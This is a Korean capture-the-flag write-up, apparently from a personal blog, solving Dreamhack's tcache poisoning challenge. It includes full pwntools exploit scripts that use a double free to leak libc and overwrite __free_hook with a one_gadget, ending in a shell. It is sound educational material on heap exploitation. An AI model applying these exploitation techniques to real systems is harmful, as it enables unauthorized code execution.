Wargame/Dreamhack

Tcache Poisoning

wyv3rn 2022. 8. 2. 15:47
728x90
반응형

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }

  return 0;
}

코드를 간단히 요약해보면

main 함수 내에서 4개의 메뉴를 실행할 수 있으며,

1. 입력받은 크기로 heap 공간 할당 후 해당 heap 주소를 chunk 변수에 삽입 후 read 함수를 통해 데이터를 받아들임.
2. chunk 변수의 값을 토대로 heap 공간 해제
3. chunk 변수의 값을 토대로 저장된 데이터를 출력
4. chunk 변수의 값을 토대로 해당 heap 공간의 값을 변경

할 수 있다.

취약점은 heap 공간 free 이후에 이 위치를 저장하고 있는 chunk 변수를 초기화하지 않았기에 double free 가 가능해진다.

double free가 취약한 이유는 아래 링크와 같다.

https://wyv3rn.tistory.com/75

 

heap tcache poisoning & double free

tcache libc > 2.25 이후부터 적용된 heap 관리 방법이며, 현재는 패치 되었다. 우선 두번의 32 byte heap 영역 할당을 통해 아래와 같이 데이터가 들어있다고 가정하자. gef➤ heap chunks Chunk(addr=0x602010,..

wyv3rn.tistory.com

링크에 설명한 것과 같이 따라 특정 위치에 원하는 값을 쓸 수 있음을 확인하였다.

 

우선 stdout address부터 leak 해보자.

로컬 환경의 libc 버전이 높아 double free를 인식하기에 부득이 온라인 환경에서 바로 도전.

from pwn import *

#p = process('./tcache_poison')
p = remote('host3.dreamhack.games',14123)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size,data):
    p.sendlineafter(b'Edit\n',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def free():
    p.sendlineafter(b'Edit\n',b'2')

def edit(data):
    p.sendlineafter(b'Edit\n',b'4')
    p.sendlineafter(b': ',data)

def prin():
    p.sendlineafter(b'Edit\n',b'3')

#make heap
alloc(b'16',b'a')
free()

#overwrite bk for double free
edit(b'aaaaaaaaa')
free()

#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout'])
edit(leak)

#tcache poisoning
alloc(b'16',b'aaaaaaa')

#gdb.attach(p)
#pause()

#alloc to stdout address
alloc(b'16',b'\x60')

prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add = ',hex(stdout_add))
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 14123: Done
[*] '/home/kali/Downloads/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/kali/Downloads/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
stdout_add =  0x7fc050e18760

여기서 유의할점은

alloc시 data를 보낼때 \n 문자가 없어야 원활히 값 삽입이 가능하다는 점

그리고 마지막 alloc에서 stdout address에 값을 쓸 때 시 \x60의 값을 넣어야 된다는 점

이다.

 

특히 \x60의 값을 넣어준 이유는 아래와 같이 stdout의 address 중 마지막 1 byte가 60이기에 기존의 값이 변조되지 않게하여 stdout 함수가 비 정상적인 작동을 하지 않게 하기 위함이다. (어차피 ASLR이 걸려있더라도 base address의 마지막 2 byte는 0000 이기 때문임.)

 

헷갈릴 수 있는데, stdout의 오프셋은 0x3ec848 - 0xe8 즉 0x3ec760 이다.

┌──(kali㉿kali)-[~/Downloads]
└─$ objdump -d ./libc-2.27.so | grep stdout                                 
...
7e3c4:       48 39 1d 7d e4 36 00    cmp    %rbx,0x36e47d(%rip)        # 3ec848 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
...
┌──(kali㉿kali)-[~/Downloads]
└─$ python        
Python 3.10.4 (main, Mar 24 2022, 13:07:27) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x3ec848-0xe8)
4114272
>>> print(hex(0x3ec848-0xe8))
0x3ec760
>>>

이제 free_hook 주소에 onegadget 주소를 넣어 free함수를 실행하면 될 것으로 보인다.

onegadget offset을 찾아보면 아래와 같다.

┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget ./libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

free_hook 주소에 onegadget 주소를 넣는 방법은 마찬가지로 double free를 통한 tcache poisoning으로 가능하다.

이제 모두 모아 코드를 작성해보면 아래와 같다.

from pwn import *

#p = process('./tcache_poison')
p = remote('host3.dreamhack.games',10197)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')

def alloc(size,data):
    p.sendlineafter(b'Edit\n',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def free():
    p.sendlineafter(b'Edit\n',b'2')

def edit(data):
    p.sendlineafter(b'Edit\n',b'4')
    p.sendlineafter(b': ',data)

def prin():
    p.sendlineafter(b'Edit\n',b'3')

#overwrite bk for double free
alloc(b'16',b'a')
free()
edit(b'aaaaaaaaa')
free()

#overwrite fd for insert stdout address to tcache
leak = p64(e.symbols['stdout'])
edit(leak)

#tcache poisoning
alloc(b'16',b'aaaaaaa')

#gdb.attach(p)
#pause()

#alloc to stdout address
alloc(b'16',b'\x60')

prin()
p.recvuntil(b'Content: ')
stdout_add = u64(p.recv(6) + b'\x00\x00')
print('stdout_add = ',hex(stdout_add))

libc_base = stdout_add - libc.symbols['_IO_2_1_stdout_']
free_hook_add = libc_base + libc.symbols['__free_hook']
onegadget = libc_base + 0x4f432

print('libc base = ',hex(libc_base))
print('free_hook address = ',hex(free_hook_add))

#overwrite bk for double free
alloc(b'32',b'a')
free()
edit(b'aaaaaaaaa')
free()

#overwrite fd for insert free_hook address to tcache
leak = p64(free_hook_add)
edit(leak)

#tcache poisoning
alloc(b'32',b'aaaaaaa')

#alloc to free_hook address and insert onegadget
alloc(b'32',p64(onegadget))

free()

p.interactive()

* 참고로 첫번째 onegadget은 실패해서 두번째로 교체함.

┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 10197: Done
[*] '/home/kali/Downloads/tcache_poison'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/kali/Downloads/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
stdout_add =  0x7f7f40591760
libc base =  0x7f7f401a5000
free_hook address =  0x7f7f405928e8
[*] Switching to interactive mode
$ id
uid=1000(tcache_poison) gid=1000(tcache_poison) groups=1000(tcache_poison)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형